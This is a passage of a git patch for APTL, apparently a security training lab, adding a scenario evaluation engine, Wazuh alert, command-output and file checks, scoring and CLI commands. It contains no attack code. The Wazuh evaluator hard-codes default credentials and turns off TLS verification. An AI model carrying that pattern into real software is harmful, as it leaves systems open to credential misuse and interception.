From 4d8270e8aa100158e77e49c461d4be917467435b Mon Sep 17 00:00:00 2001 From: Brad Edwards Date: Thu, 26 Mar 2026 22:30:31 -0700 Subject: [PATCH 01/15] Runtime engine --- CHANGELOG.md | 14 ++ src/aptl/cli/scenario.py | 363 ++++++++++++++++++++++++++++++++++- src/aptl/core/engine.py | 284 +++++++++++++++++++++++++++ src/aptl/core/evaluators.py | 320 +++++++++++++++++++++++++++++++ src/aptl/core/scoring.py | 146 ++++++++++++++ src/aptl/core/session.py | 32 ++++ tests/test_cli_evaluate.py | 151 +++++++++++++++ tests/test_engine.py | 371 ++++++++++++++++++++++++++++++++++++ tests/test_evaluators.py | 337 ++++++++++++++++++++++++++++++++ tests/test_scoring.py | 304 +++++++++++++++++++++++++++++ 10 files changed, 2319 insertions(+), 3 deletions(-) create mode 100644 src/aptl/core/engine.py create mode 100644 src/aptl/core/evaluators.py create mode 100644 src/aptl/core/scoring.py create mode 100644 tests/test_cli_evaluate.py create mode 100644 tests/test_engine.py create mode 100644 tests/test_evaluators.py create mode 100644 tests/test_scoring.py diff --git a/CHANGELOG.md b/CHANGELOG.md index 58db2b53f..145239377 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,20 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [4.17.0] - 2026-03-26 + +### Added + +- Scenario runtime engine with async evaluation loop (`src/aptl/core/engine.py`) — periodically checks non-manual objectives against live infrastructure (Wazuh alerts, command output, file existence) and updates session state incrementally +- Objective evaluators (`src/aptl/core/evaluators.py`) — async functions for each `ObjectiveType`: `evaluate_wazuh_alert` queries the Wazuh Indexer ES API, `evaluate_command_output` runs `docker exec` and checks output, `evaluate_file_exists` checks file presence and content in containers +- Scoring engine (`src/aptl/core/scoring.py`) — computes scenario scores from completed objectives, hint penalties, and time-based bonuses with linear decay +- `aptl scenario run ` CLI command — combined start + evaluation loop + stop with Ctrl+C graceful shutdown and real-time progress reporting +- `aptl scenario evaluate` CLI command — single evaluation pass against an active session for debugging and scripting +- `aptl scenario status` now displays current score, objective completion breakdown, and pass/fail status +- `ScenarioSession.set_evaluating()` and `set_active_from_evaluating()` methods — the `EVALUATING` session state is now actively used during evaluation cycles +- OTel `aptl.evaluation` child spans emitted for each objective evaluation cycle +- 45 new tests: evaluator unit tests (`test_evaluators.py`), scoring tests (`test_scoring.py`), engine integration tests (`test_engine.py`), CLI command tests (`test_cli_evaluate.py`) + ## [4.16.1] - 2026-03-25 ### Fixed diff --git a/src/aptl/cli/scenario.py b/src/aptl/cli/scenario.py index f2667e8ab..75bec445e 100644 --- a/src/aptl/cli/scenario.py +++ b/src/aptl/cli/scenario.py @@ -1,6 +1,8 @@ """CLI commands for scenario management.""" +import asyncio import os +import signal import time from datetime import datetime, timezone from pathlib import Path @@ -18,6 +20,7 @@ from aptl.core.run_assembler import assemble_run from aptl.core.runstore import LocalRunStore from aptl.core.scenarios import ( + ObjectiveType, ScenarioDefinition, ScenarioNotFoundError, ScenarioStateError, @@ -26,6 +29,7 @@ load_scenario, validate_scenario_containers, ) +from aptl.core.scoring import ScoreReport, compute_score from aptl.core.session import ActiveSession, ScenarioSession from aptl.core.telemetry import ( create_child_span, @@ -446,8 +450,14 @@ def status( "-d", help="Path to the APTL project directory.", ), + scenarios_dir: Path | None = typer.Option( + None, + "--scenarios-dir", + "-s", + help="Path to scenarios directory. Defaults to /scenarios.", + ), ) -> None: - """Show active scenario status.""" + """Show active scenario status with scoring.""" state = _state_dir(project_dir) session_mgr = ScenarioSession(state) @@ -459,8 +469,9 @@ def status( # Compute elapsed time started = datetime.fromisoformat(session.started_at) elapsed = datetime.now(timezone.utc) - started - minutes = int(elapsed.total_seconds() // 60) - seconds = int(elapsed.total_seconds() % 60) + elapsed_seconds = elapsed.total_seconds() + minutes = int(elapsed_seconds // 60) + seconds = int(elapsed_seconds % 60) typer.echo(f"Active scenario: {session.scenario_id}") typer.echo(f" State: {session.state.value}") @@ -471,6 +482,20 @@ def status( typer.echo(f" Completed: {len(session.completed_objectives)} objectives") typer.echo(f" Hints used: {len(session.hints_used)}") + # Show scoring if we can load the scenario definition + try: + resolved_dir = _resolve_scenarios_dir(project_dir, scenarios_dir) + scenario = _load_scenario_or_exit(resolved_dir, session.scenario_id) + score = compute_score( + scenario, + session.completed_objectives, + session.hints_used, + elapsed_seconds, + ) + _print_score_summary(score, scenario) + except (SystemExit, Exception): + pass + @app.command() def stop( @@ -580,3 +605,335 @@ def stop( typer.echo(f" Flags: {flag_count}") if run_dir: typer.echo(f" Run: {run_dir}") + + +# --------------------------------------------------------------------------- +# Scoring display helper +# --------------------------------------------------------------------------- + + +def _print_score_summary(score: ScoreReport, scenario: ScenarioDefinition) -> None: + """Print a formatted score summary.""" + typer.echo("") + typer.echo("Score:") + status_label = "PASS" if score.passed else "FAIL" + typer.echo(f" Total: {score.total_score}/{score.max_score} [{status_label}]") + typer.echo(f" Passing: {score.passing_score}") + if score.time_bonus > 0: + typer.echo(f" Time bonus: +{score.time_bonus}") + if score.hint_penalties > 0: + typer.echo(f" Penalties: -{score.hint_penalties}") + + typer.echo("") + typer.echo("Objectives:") + for os_ in score.objective_scores: + status = "DONE" if os_.completed else " " + penalty_str = f" (-{os_.hint_penalty})" if os_.hint_penalty > 0 else "" + typer.echo( + f" [{status}] {os_.objective_id}: " + f"{os_.earned}/{os_.base_points} pts{penalty_str}" + ) + + +# --------------------------------------------------------------------------- +# Evaluate command +# --------------------------------------------------------------------------- + + +@app.command() +def evaluate( + project_dir: Path = typer.Option( + Path("."), + "--project-dir", + "-d", + help="Path to the APTL project directory.", + ), + scenarios_dir: Path | None = typer.Option( + None, + "--scenarios-dir", + "-s", + help="Path to scenarios directory. Defaults to /scenarios.", + ), +) -> None: + """Run a single evaluation pass against the active scenario.""" + from aptl.core.engine import ScenarioEngine + + state = _state_dir(project_dir) + session_mgr = ScenarioSession(state) + session = _require_active_session(session_mgr) + scenario = _load_active_scenario(session, project_dir, scenarios_dir) + + engine = ScenarioEngine(scenario, session_mgr) + results = asyncio.run(engine.evaluate_once()) + + if not results: + typer.echo("No evaluable objectives pending.") + return + + typer.echo("Evaluation results:") + for er in results: + status = "PASS" if er.passed else "FAIL" + typer.echo(f" [{status}] {er.objective_id}: {er.detail}") + + # Show current score + score = engine.get_score() + if score is not None: + _print_score_summary(score, scenario) + + +# --------------------------------------------------------------------------- +# Run command (combined start + evaluate loop + stop) +# --------------------------------------------------------------------------- + + +def _stop_scenario( + project_dir: Path, + scenarios_dir: Path | None, + session_mgr: ScenarioSession, + session: ActiveSession, +) -> None: + """Reusable stop logic (extracted from the stop command).""" + scenario = _load_active_scenario(session, project_dir, scenarios_dir) + started = datetime.fromisoformat(session.started_at) + now = datetime.now(timezone.utc) + elapsed = (now - started).total_seconds() + minutes = int(elapsed // 60) + seconds = int(elapsed % 60) + + if session.trace_id: + init_tracing() + try: + tracer = get_tracer() + start_ns = int(started.timestamp() * 1e9) + end_ns = int(now.timestamp() * 1e9) + create_root_span( + tracer=tracer, + scenario_id=session.scenario_id, + run_id=session.run_id, + start_time=start_ns, + end_time=end_ns, + trace_id=session.trace_id, + span_id=session.span_id, + ) + finally: + shutdown_tracing() + time.sleep(2) + + finished_session = session_mgr.finish() + + env_path = project_dir / ".env" + try: + raw_env = load_dotenv(env_path) + os.environ.update(raw_env) + except FileNotFoundError: + log.warning(".env not found at %s; collectors will use defaults", env_path) + + run_dir = None + if session.run_id: + try: + config_path = find_config(project_dir) + config = load_config(config_path) if config_path else AptlConfig() + local_path = Path(config.run_storage.local_path) + if not local_path.is_absolute(): + local_path = project_dir / local_path + store = LocalRunStore(local_path) + resolved_dir = _resolve_scenarios_dir(project_dir, scenarios_dir) + scenario_path = _find_scenario_by_name( + resolved_dir, session.scenario_id + ) + run_dir = assemble_run( + store=store, + run_id=session.run_id, + session=finished_session, + scenario=scenario, + scenario_path=scenario_path, + config=config, + ) + except Exception as e: + log.error("Failed to assemble run: %s", e) + typer.echo(f"Warning: Run assembly failed: {e}") + + session_mgr.clear() + state = _state_dir(project_dir) + ctx_file = state / "trace-context.json" + if ctx_file.exists(): + ctx_file.unlink() + + typer.echo(f"Scenario stopped: {scenario.metadata.name}") + typer.echo(f" Duration: {minutes}m {seconds}s") + flag_count = sum(len(v) for v in session.flags.values()) + typer.echo(f" Flags: {flag_count}") + if run_dir: + typer.echo(f" Run: {run_dir}") + + +@app.command() +def run( + name: str = typer.Argument(help="Scenario name or filename."), + project_dir: Path = typer.Option( + Path("."), + "--project-dir", + "-d", + help="Path to the APTL project directory.", + ), + scenarios_dir: Path | None = typer.Option( + None, + "--scenarios-dir", + "-s", + help="Path to scenarios directory. Defaults to /scenarios.", + ), + poll_interval: float = typer.Option( + 10.0, + "--poll-interval", + help="Seconds between evaluation cycles.", + ), + timeout: float | None = typer.Option( + None, + "--timeout", + help="Override timeout in minutes (default: scenario estimated_minutes).", + ), +) -> None: + """Start a scenario, evaluate objectives in real time, then stop. + + Combines start + evaluation loop + stop into a single command. + The engine periodically checks non-manual objectives against live + infrastructure. Press Ctrl+C for graceful shutdown. + """ + from aptl.core.engine import ScenarioEngine + + # --- Start phase (same as `aptl scenario start`) --- + log.info("Starting scenario run: %s", name) + resolved_dir = _resolve_scenarios_dir(project_dir, scenarios_dir) + scenario = _load_scenario_or_exit(resolved_dir, name) + + config_path = find_config(project_dir) + config = load_config(config_path) if config_path else AptlConfig() + missing = validate_scenario_containers(scenario, config) + if missing: + typer.echo( + f"Error: Scenario '{scenario.metadata.id}' requires disabled profiles: " + f"{', '.join(missing)}\n" + f"Enable them in aptl.json or start the lab with the required profiles." + ) + raise typer.Exit(code=1) + + state = _state_dir(project_dir) + session_mgr = ScenarioSession(state) + + try: + session = session_mgr.start(scenario) + except ScenarioStateError as e: + log.error("Cannot start scenario: %s", e) + typer.echo(f"Error: {e}") + raise typer.Exit(code=1) from e + + run_id = uuid4().hex + session.run_id = run_id + session_mgr._write(session) + write_trace_context(state, session.trace_id, session.span_id) + + flags = collect_flags() + if flags: + session.flags = flags + session_mgr._write(session) + + init_tracing() + try: + tracer = get_tracer() + parent_ctx = make_parent_context(session.trace_id, session.span_id) + span = create_child_span(tracer, parent_ctx, "scenario.started", { + "aptl.scenario.id": scenario.metadata.id, + "aptl.scenario.mode": scenario.mode.value, + "aptl.run.id": run_id, + }) + span.end() + finally: + shutdown_tracing() + + # Count evaluable objectives + evaluable = [ + o for o in scenario.objectives.all_objectives() + if o.type != ObjectiveType.MANUAL + ] + manual = [ + o for o in scenario.objectives.all_objectives() + if o.type == ObjectiveType.MANUAL + ] + + typer.echo(f"Started scenario: {scenario.metadata.name}") + typer.echo(f" Run ID: {run_id}") + typer.echo(f" Evaluable: {len(evaluable)} objectives (auto-checked)") + typer.echo(f" Manual: {len(manual)} objectives (require manual completion)") + typer.echo(f" Trace ID: {session.trace_id}") + typer.echo("") + + if not evaluable: + typer.echo("No auto-evaluable objectives. Use 'aptl scenario stop' when done.") + return + + # --- Engine phase --- + timeout_minutes = timeout if timeout is not None else float( + scenario.metadata.estimated_minutes + ) + + def on_progress(cycle: int, results: list, score: ScoreReport) -> None: + completed = sum(1 for os_ in score.objective_scores if os_.completed) + total = len(score.objective_scores) + newly_passed = [r for r in results if r.passed] + if newly_passed: + for r in newly_passed: + typer.echo(f" [PASS] {r.objective_id}: {r.detail}") + typer.echo( + f" Cycle {cycle}: {completed}/{total} objectives, " + f"score {score.total_score}/{score.max_score}" + ) + + engine = ScenarioEngine( + scenario=scenario, + session_mgr=session_mgr, + poll_interval=poll_interval, + timeout_minutes=timeout_minutes, + on_progress=on_progress, + ) + + shutdown_event = asyncio.Event() + + typer.echo(f"Evaluation engine started (poll every {poll_interval}s, " + f"timeout {timeout_minutes:.0f}m)") + typer.echo("Press Ctrl+C to stop gracefully.") + typer.echo("") + + def _signal_handler(sig: int, frame: object) -> None: + typer.echo("\nShutdown signal received, finishing current cycle...") + shutdown_event.set() + + original_sigint = signal.getsignal(signal.SIGINT) + original_sigterm = signal.getsignal(signal.SIGTERM) + signal.signal(signal.SIGINT, _signal_handler) + signal.signal(signal.SIGTERM, _signal_handler) + + try: + engine_result = asyncio.run(engine.run(shutdown_event)) + finally: + signal.signal(signal.SIGINT, original_sigint) + signal.signal(signal.SIGTERM, original_sigterm) + + # --- Report --- + typer.echo("") + if engine_result.timed_out: + typer.echo("Engine stopped: timeout reached") + else: + typer.echo("Engine stopped: evaluation complete") + + if engine_result.score is not None: + _print_score_summary(engine_result.score, scenario) + + typer.echo(f"\n Cycles: {engine_result.evaluation_cycles}") + typer.echo(f" Elapsed: {int(engine_result.elapsed_seconds // 60)}m " + f"{int(engine_result.elapsed_seconds % 60)}s") + + # --- Stop phase --- + typer.echo("") + session = session_mgr.get_active() + if session is not None and session_mgr.is_active(): + _stop_scenario(project_dir, scenarios_dir, session_mgr, session) diff --git a/src/aptl/core/engine.py b/src/aptl/core/engine.py new file mode 100644 index 000000000..caea0c278 --- /dev/null +++ b/src/aptl/core/engine.py @@ -0,0 +1,284 @@ +"""Scenario runtime engine with async evaluation loop. + +Drives a scenario through periodic objective evaluation cycles, +updating session state and scores incrementally. Emits OTel spans +for each evaluation event. +""" + +import asyncio +from dataclasses import dataclass, field +from datetime import datetime, timezone + +from aptl.core.evaluators import EvaluationResult, evaluate_objective +from aptl.core.scenarios import ObjectiveType, ScenarioDefinition +from aptl.core.scoring import ScoreReport, compute_score +from aptl.core.session import ScenarioSession +from aptl.core.telemetry import ( + SPAN_EVALUATION, + create_child_span, + get_tracer, + init_tracing, + make_parent_context, + shutdown_tracing, +) +from aptl.utils.logging import get_logger + +log = get_logger("engine") + + +@dataclass +class EngineResult: + """Final result from the engine after it stops.""" + + completed_objectives: list[str] = field(default_factory=list) + score: ScoreReport | None = None + elapsed_seconds: float = 0.0 + timed_out: bool = False + evaluation_cycles: int = 0 + + +ProgressCallback = None # Type alias placeholder + + +class ScenarioEngine: + """Async engine that evaluates scenario objectives in real time. + + The engine periodically checks all non-manual, non-completed + objectives against live infrastructure and updates session state + as objectives are completed. + + Args: + scenario: The scenario definition to evaluate. + session_mgr: Session manager for state persistence. + poll_interval: Seconds between evaluation cycles. + timeout_minutes: Max runtime in minutes (None = no timeout). + on_progress: Optional callback invoked after each cycle with + (cycle_number, results, score). + """ + + def __init__( + self, + scenario: ScenarioDefinition, + session_mgr: ScenarioSession, + poll_interval: float = 10.0, + timeout_minutes: float | None = None, + on_progress: object = None, + ) -> None: + self._scenario = scenario + self._session_mgr = session_mgr + self._poll_interval = poll_interval + self._timeout_minutes = timeout_minutes + self._on_progress = on_progress + self._all_objectives = scenario.objectives.all_objectives() + self._evaluable_ids = { + o.id + for o in self._all_objectives + if o.type != ObjectiveType.MANUAL + } + + async def run(self, shutdown_event: asyncio.Event) -> EngineResult: + """Main evaluation loop. + + Runs until all evaluable objectives are complete, the timeout + is reached, or the shutdown event is set. + """ + session = self._session_mgr.get_active() + if session is None: + log.error("No active session to run engine against") + return EngineResult() + + started_at = datetime.fromisoformat(session.started_at) + if not started_at.tzinfo: + started_at = started_at.replace(tzinfo=timezone.utc) + + init_tracing() + tracer = get_tracer() + parent_ctx = make_parent_context(session.trace_id, session.span_id) + + result = EngineResult() + cycle = 0 + + try: + while not shutdown_event.is_set(): + cycle += 1 + now = datetime.now(timezone.utc) + elapsed = (now - started_at).total_seconds() + + # Check timeout + if self._timeout_minutes is not None: + if elapsed >= self._timeout_minutes * 60: + log.info("Engine timeout reached after %.0fs", elapsed) + result.timed_out = True + break + + # Reload session to get latest completed_objectives + session = self._session_mgr.get_active() + if session is None: + log.warning("Session disappeared during engine run") + break + + completed_set = set(session.completed_objectives) + pending = [ + o + for o in self._all_objectives + if o.id in self._evaluable_ids and o.id not in completed_set + ] + + if not pending: + log.info("All evaluable objectives complete") + break + + # Transition to EVALUATING + try: + self._session_mgr.set_evaluating() + except Exception: + pass # May already be evaluating or race condition + + # Evaluate all pending objectives concurrently + eval_results = await asyncio.gather( + *[ + evaluate_objective(o, session.started_at) + for o in pending + ], + return_exceptions=True, + ) + + # Process results + cycle_results: list[EvaluationResult] = [] + for i, er in enumerate(eval_results): + if isinstance(er, Exception): + log.warning( + "Evaluation exception for %s: %s", + pending[i].id, + er, + ) + continue + + cycle_results.append(er) + + if er.passed and er.objective_id not in completed_set: + self._session_mgr.record_objective_complete(er.objective_id) + completed_set.add(er.objective_id) + log.info("Objective completed: %s", er.objective_id) + + # Emit OTel evaluation span + span = create_child_span( + tracer, + parent_ctx, + SPAN_EVALUATION, + { + "aptl.objective.id": er.objective_id, + "aptl.evaluation.passed": er.passed, + "aptl.evaluation.detail": er.detail, + "aptl.evaluation.cycle": cycle, + }, + ) + span.end() + + # Transition back to ACTIVE + try: + self._session_mgr.set_active_from_evaluating() + except Exception: + pass + + # Compute score + session = self._session_mgr.get_active() + if session is not None: + score = compute_score( + self._scenario, + session.completed_objectives, + session.hints_used, + elapsed, + ) + result.score = score + result.completed_objectives = list(session.completed_objectives) + + # Invoke progress callback + if self._on_progress is not None: + try: + self._on_progress(cycle, cycle_results, score) + except Exception as e: + log.warning("Progress callback error: %s", e) + + result.evaluation_cycles = cycle + + # Wait for next cycle (interruptible by shutdown_event) + try: + await asyncio.wait_for( + shutdown_event.wait(), + timeout=self._poll_interval, + ) + # If we get here, shutdown was signaled + break + except asyncio.TimeoutError: + # Normal timeout, continue to next cycle + pass + + finally: + now = datetime.now(timezone.utc) + result.elapsed_seconds = (now - started_at).total_seconds() + result.evaluation_cycles = cycle + shutdown_tracing() + + return result + + async def evaluate_once(self) -> list[EvaluationResult]: + """Run a single evaluation pass and return results. + + Does not loop. Updates session state for completed objectives. + """ + session = self._session_mgr.get_active() + if session is None: + return [] + + completed_set = set(session.completed_objectives) + pending = [ + o + for o in self._all_objectives + if o.id in self._evaluable_ids and o.id not in completed_set + ] + + if not pending: + return [] + + eval_results = await asyncio.gather( + *[evaluate_objective(o, session.started_at) for o in pending], + return_exceptions=True, + ) + + results: list[EvaluationResult] = [] + for i, er in enumerate(eval_results): + if isinstance(er, Exception): + log.warning( + "Evaluation exception for %s: %s", + pending[i].id, + er, + ) + continue + + results.append(er) + + if er.passed and er.objective_id not in completed_set: + self._session_mgr.record_objective_complete(er.objective_id) + completed_set.add(er.objective_id) + log.info("Objective completed: %s", er.objective_id) + + return results + + def get_score(self) -> ScoreReport | None: + """Compute current score snapshot.""" + session = self._session_mgr.get_active() + if session is None: + return None + + started_at = datetime.fromisoformat(session.started_at) + if not started_at.tzinfo: + started_at = started_at.replace(tzinfo=timezone.utc) + elapsed = (datetime.now(timezone.utc) - started_at).total_seconds() + + return compute_score( + self._scenario, + session.completed_objectives, + session.hints_used, + elapsed, + ) diff --git a/src/aptl/core/evaluators.py b/src/aptl/core/evaluators.py new file mode 100644 index 000000000..26feac5a3 --- /dev/null +++ b/src/aptl/core/evaluators.py @@ -0,0 +1,320 @@ +"""Objective evaluation executors for live infrastructure checks. + +Each evaluator checks one objective validation type against running +containers and services. All evaluators are async (wrapping blocking +I/O via ``asyncio.to_thread``) and fault-tolerant: they return +``EvaluationResult(passed=False)`` on error and never raise. +""" + +import asyncio +import re +from dataclasses import dataclass +from datetime import datetime, timezone + +from aptl.core.collectors import _curl_json, _run_cmd +from aptl.core.scenarios import ( + CommandOutputValidation, + FileExistsValidation, + Objective, + ObjectiveType, + WazuhAlertValidation, +) +from aptl.utils.logging import get_logger + +log = get_logger("evaluators") + + +@dataclass +class EvaluationResult: + """Result of evaluating a single objective.""" + + objective_id: str + passed: bool + detail: str + checked_at: str + + +async def evaluate_wazuh_alert( + objective_id: str, + validation: WazuhAlertValidation, + session_started_at: str, + indexer_url: str = "https://localhost:9200", + auth: tuple[str, str] = ("admin", "SecretPassword"), +) -> EvaluationResult: + """Query Wazuh Indexer for alerts matching the objective's ES query. + + Wraps the objective's query in a time-range filter scoped to + the sliding window (now - time_window_seconds, now). Checks + whether at least ``min_matches`` hits are returned. + """ + now = datetime.now(timezone.utc) + checked_at = now.isoformat() + + window_start = max( + datetime.fromisoformat(session_started_at), + now.replace( + second=now.second, + microsecond=now.microsecond, + ), + ) + # Use the smaller of: time since session start, or time_window_seconds + from datetime import timedelta + + window_start_dt = now - timedelta(seconds=validation.time_window_seconds) + session_start_dt = datetime.fromisoformat(session_started_at) + if not session_start_dt.tzinfo: + session_start_dt = session_start_dt.replace(tzinfo=timezone.utc) + if window_start_dt < session_start_dt: + window_start_dt = session_start_dt + + query = { + "query": { + "bool": { + "must": [ + validation.query, + { + "range": { + "@timestamp": { + "gte": window_start_dt.isoformat(), + "lte": checked_at, + } + } + }, + ], + } + }, + "size": 0, + "track_total_hits": True, + } + + url = f"{indexer_url}/wazuh-alerts-4.x-*/_search" + + try: + data = await asyncio.to_thread( + _curl_json, url, auth=auth, body=query, insecure=True, timeout=30 + ) + except Exception as e: + log.warning("Wazuh alert evaluation failed for %s: %s", objective_id, e) + return EvaluationResult( + objective_id=objective_id, + passed=False, + detail=f"Query error: {e}", + checked_at=checked_at, + ) + + if data is None: + return EvaluationResult( + objective_id=objective_id, + passed=False, + detail="Wazuh Indexer unreachable or query failed", + checked_at=checked_at, + ) + + total_hits = 0 + if isinstance(data, dict): + hits = data.get("hits", {}) + total = hits.get("total", {}) + if isinstance(total, dict): + total_hits = total.get("value", 0) + elif isinstance(total, int): + total_hits = total + + passed = total_hits >= validation.min_matches + detail = ( + f"{total_hits} matches (need {validation.min_matches})" + if not passed + else f"{total_hits} matches found" + ) + + log.info( + "Wazuh alert eval for %s: %d hits, need %d -> %s", + objective_id, + total_hits, + validation.min_matches, + "PASS" if passed else "FAIL", + ) + + return EvaluationResult( + objective_id=objective_id, + passed=passed, + detail=detail, + checked_at=checked_at, + ) + + +async def evaluate_command_output( + objective_id: str, + validation: CommandOutputValidation, +) -> EvaluationResult: + """Run a command in a container and check its output. + + Executes ``docker exec sh -c ''`` and checks + stdout for required strings and optional regex match. + """ + checked_at = datetime.now(timezone.utc).isoformat() + + cmd = [ + "docker", "exec", f"aptl-{validation.container}", + "sh", "-c", validation.command, + ] + + try: + result = await asyncio.to_thread(_run_cmd, cmd, 30) + except Exception as e: + log.warning("Command output evaluation failed for %s: %s", objective_id, e) + return EvaluationResult( + objective_id=objective_id, + passed=False, + detail=f"Execution error: {e}", + checked_at=checked_at, + ) + + if result is None or result.returncode != 0: + return EvaluationResult( + objective_id=objective_id, + passed=False, + detail="Command failed or container unreachable", + checked_at=checked_at, + ) + + output = result.stdout + + # Check all required strings + for required in validation.contains: + if required not in output: + return EvaluationResult( + objective_id=objective_id, + passed=False, + detail=f"Missing required string: {required!r}", + checked_at=checked_at, + ) + + # Check optional regex + if validation.regex is not None: + if not re.search(validation.regex, output): + return EvaluationResult( + objective_id=objective_id, + passed=False, + detail=f"Regex not matched: {validation.regex}", + checked_at=checked_at, + ) + + log.info("Command output eval for %s: PASS", objective_id) + return EvaluationResult( + objective_id=objective_id, + passed=True, + detail="All checks passed", + checked_at=checked_at, + ) + + +async def evaluate_file_exists( + objective_id: str, + validation: FileExistsValidation, +) -> EvaluationResult: + """Check whether a file exists in a container, optionally checking content. + + Uses ``docker exec cat `` to both verify existence + and read content in one call. + """ + checked_at = datetime.now(timezone.utc).isoformat() + + cmd = [ + "docker", "exec", f"aptl-{validation.container}", + "cat", validation.path, + ] + + try: + result = await asyncio.to_thread(_run_cmd, cmd, 30) + except Exception as e: + log.warning("File exists evaluation failed for %s: %s", objective_id, e) + return EvaluationResult( + objective_id=objective_id, + passed=False, + detail=f"Execution error: {e}", + checked_at=checked_at, + ) + + if result is None or result.returncode != 0: + return EvaluationResult( + objective_id=objective_id, + passed=False, + detail=f"File not found: {validation.path}", + checked_at=checked_at, + ) + + # Optionally check content + if validation.contains is not None: + if validation.contains not in result.stdout: + return EvaluationResult( + objective_id=objective_id, + passed=False, + detail=f"File exists but missing content: {validation.contains!r}", + checked_at=checked_at, + ) + + log.info("File exists eval for %s: PASS", objective_id) + return EvaluationResult( + objective_id=objective_id, + passed=True, + detail=f"File exists: {validation.path}", + checked_at=checked_at, + ) + + +async def evaluate_objective( + objective: Objective, + session_started_at: str, +) -> EvaluationResult: + """Dispatch evaluation to the correct evaluator based on objective type. + + Returns a not-evaluable result for MANUAL objectives. + """ + if objective.type == ObjectiveType.MANUAL: + return EvaluationResult( + objective_id=objective.id, + passed=False, + detail="Manual objective (not auto-evaluable)", + checked_at=datetime.now(timezone.utc).isoformat(), + ) + + if objective.type == ObjectiveType.WAZUH_ALERT: + if objective.wazuh_alert is None: + return EvaluationResult( + objective_id=objective.id, + passed=False, + detail="Missing wazuh_alert validation config", + checked_at=datetime.now(timezone.utc).isoformat(), + ) + return await evaluate_wazuh_alert( + objective.id, + objective.wazuh_alert, + session_started_at, + ) + + if objective.type == ObjectiveType.COMMAND_OUTPUT: + if objective.command_output is None: + return EvaluationResult( + objective_id=objective.id, + passed=False, + detail="Missing command_output validation config", + checked_at=datetime.now(timezone.utc).isoformat(), + ) + return await evaluate_command_output(objective.id, objective.command_output) + + if objective.type == ObjectiveType.FILE_EXISTS: + if objective.file_exists is None: + return EvaluationResult( + objective_id=objective.id, + passed=False, + detail="Missing file_exists validation config", + checked_at=datetime.now(timezone.utc).isoformat(), + ) + return await evaluate_file_exists(objective.id, objective.file_exists) + + return EvaluationResult( + objective_id=objective.id, + passed=False, + detail=f"Unknown objective type: {objective.type}", + checked_at=datetime.now(timezone.utc).isoformat(), + ) diff --git a/src/aptl/core/scoring.py b/src/aptl/core/scoring.py new file mode 100644 index 000000000..f135c88af --- /dev/null +++ b/src/aptl/core/scoring.py @@ -0,0 +1,146 @@ +"""Scenario scoring computation. + +Pure-function score calculation based on completed objectives, hint +usage, and elapsed time. Consumes existing Pydantic models from +``scenarios.py`` and returns structured score reports. +""" + +from dataclasses import dataclass, field + +from aptl.core.scenarios import Objective, ScenarioDefinition + + +@dataclass +class ObjectiveScore: + """Score breakdown for a single objective.""" + + objective_id: str + base_points: int + hint_penalty: int + earned: int + completed: bool + + +@dataclass +class ScoreReport: + """Complete score report for a scenario run.""" + + total_score: int + max_score: int + passing_score: int + passed: bool + time_bonus: int + hint_penalties: int + objective_scores: list[ObjectiveScore] = field(default_factory=list) + + +def _hint_penalty(objective: Objective, max_hint_level: int) -> int: + """Compute total hint penalty for an objective. + + Sums point_penalty for all hints at or below the used level. + """ + penalty = 0 + for hint in objective.hints: + if hint.level <= max_hint_level: + penalty += hint.point_penalty + return penalty + + +def _time_bonus( + max_bonus: int, + decay_after_minutes: int, + estimated_minutes: int, + elapsed_seconds: float, +) -> int: + """Compute time bonus with linear decay. + + Full bonus is awarded if the scenario is completed before + ``decay_after_minutes``. After that, bonus decays linearly + to zero at ``estimated_minutes``. + """ + if max_bonus <= 0: + return 0 + + elapsed_minutes = elapsed_seconds / 60.0 + + if elapsed_minutes <= decay_after_minutes: + return max_bonus + + decay_window = estimated_minutes - decay_after_minutes + if decay_window <= 0: + return 0 + + elapsed_in_decay = elapsed_minutes - decay_after_minutes + if elapsed_in_decay >= decay_window: + return 0 + + fraction_remaining = 1.0 - (elapsed_in_decay / decay_window) + return int(max_bonus * fraction_remaining) + + +def compute_score( + scenario: ScenarioDefinition, + completed_objectives: list[str], + hints_used: dict[str, int], + elapsed_seconds: float, +) -> ScoreReport: + """Compute the current score for a scenario run. + + Args: + scenario: The scenario definition with objectives and scoring config. + completed_objectives: List of objective IDs that have been completed. + hints_used: Map of objective_id to highest hint level revealed. + elapsed_seconds: Time elapsed since scenario start. + + Returns: + Complete score report with per-objective breakdown. + """ + all_objectives = scenario.objectives.all_objectives() + completed_set = set(completed_objectives) + scoring = scenario.scoring + + objective_scores: list[ObjectiveScore] = [] + total_hint_penalties = 0 + + for obj in all_objectives: + is_completed = obj.id in completed_set + penalty = _hint_penalty(obj, hints_used.get(obj.id, 0)) + total_hint_penalties += penalty + + if is_completed: + earned = max(0, obj.points - penalty) + else: + earned = 0 + + objective_scores.append( + ObjectiveScore( + objective_id=obj.id, + base_points=obj.points, + hint_penalty=penalty, + earned=earned, + completed=is_completed, + ) + ) + + base_total = sum(os.earned for os in objective_scores) + + bonus = 0 + if scoring.time_bonus.enabled: + bonus = _time_bonus( + max_bonus=scoring.time_bonus.max_bonus, + decay_after_minutes=scoring.time_bonus.decay_after_minutes, + estimated_minutes=scenario.metadata.estimated_minutes, + elapsed_seconds=elapsed_seconds, + ) + + total = base_total + bonus + + return ScoreReport( + total_score=total, + max_score=scoring.max_score, + passing_score=scoring.passing_score, + passed=total >= scoring.passing_score, + time_bonus=bonus, + hint_penalties=total_hint_penalties, + objective_scores=objective_scores, + ) diff --git a/src/aptl/core/session.py b/src/aptl/core/session.py index 1ec3b7ea2..384d59ec9 100644 --- a/src/aptl/core/session.py +++ b/src/aptl/core/session.py @@ -296,6 +296,38 @@ def clear(self) -> None: else: log.debug("No session file to clear") + def set_evaluating(self) -> None: + """Transition session state from ACTIVE to EVALUATING. + + Raises: + ScenarioStateError: If session is not in ACTIVE state. + """ + session = self._require_active() + if session.state != SessionState.ACTIVE: + raise ScenarioStateError( + f"Cannot transition to EVALUATING: session is " + f"'{session.state.value}', not 'active'." + ) + session.state = SessionState.EVALUATING + self._write(session) + log.debug("Session transitioned to EVALUATING") + + def set_active_from_evaluating(self) -> None: + """Transition session state from EVALUATING back to ACTIVE. + + Raises: + ScenarioStateError: If session is not in EVALUATING state. + """ + session = self._require_active() + if session.state != SessionState.EVALUATING: + raise ScenarioStateError( + f"Cannot transition to ACTIVE: session is " + 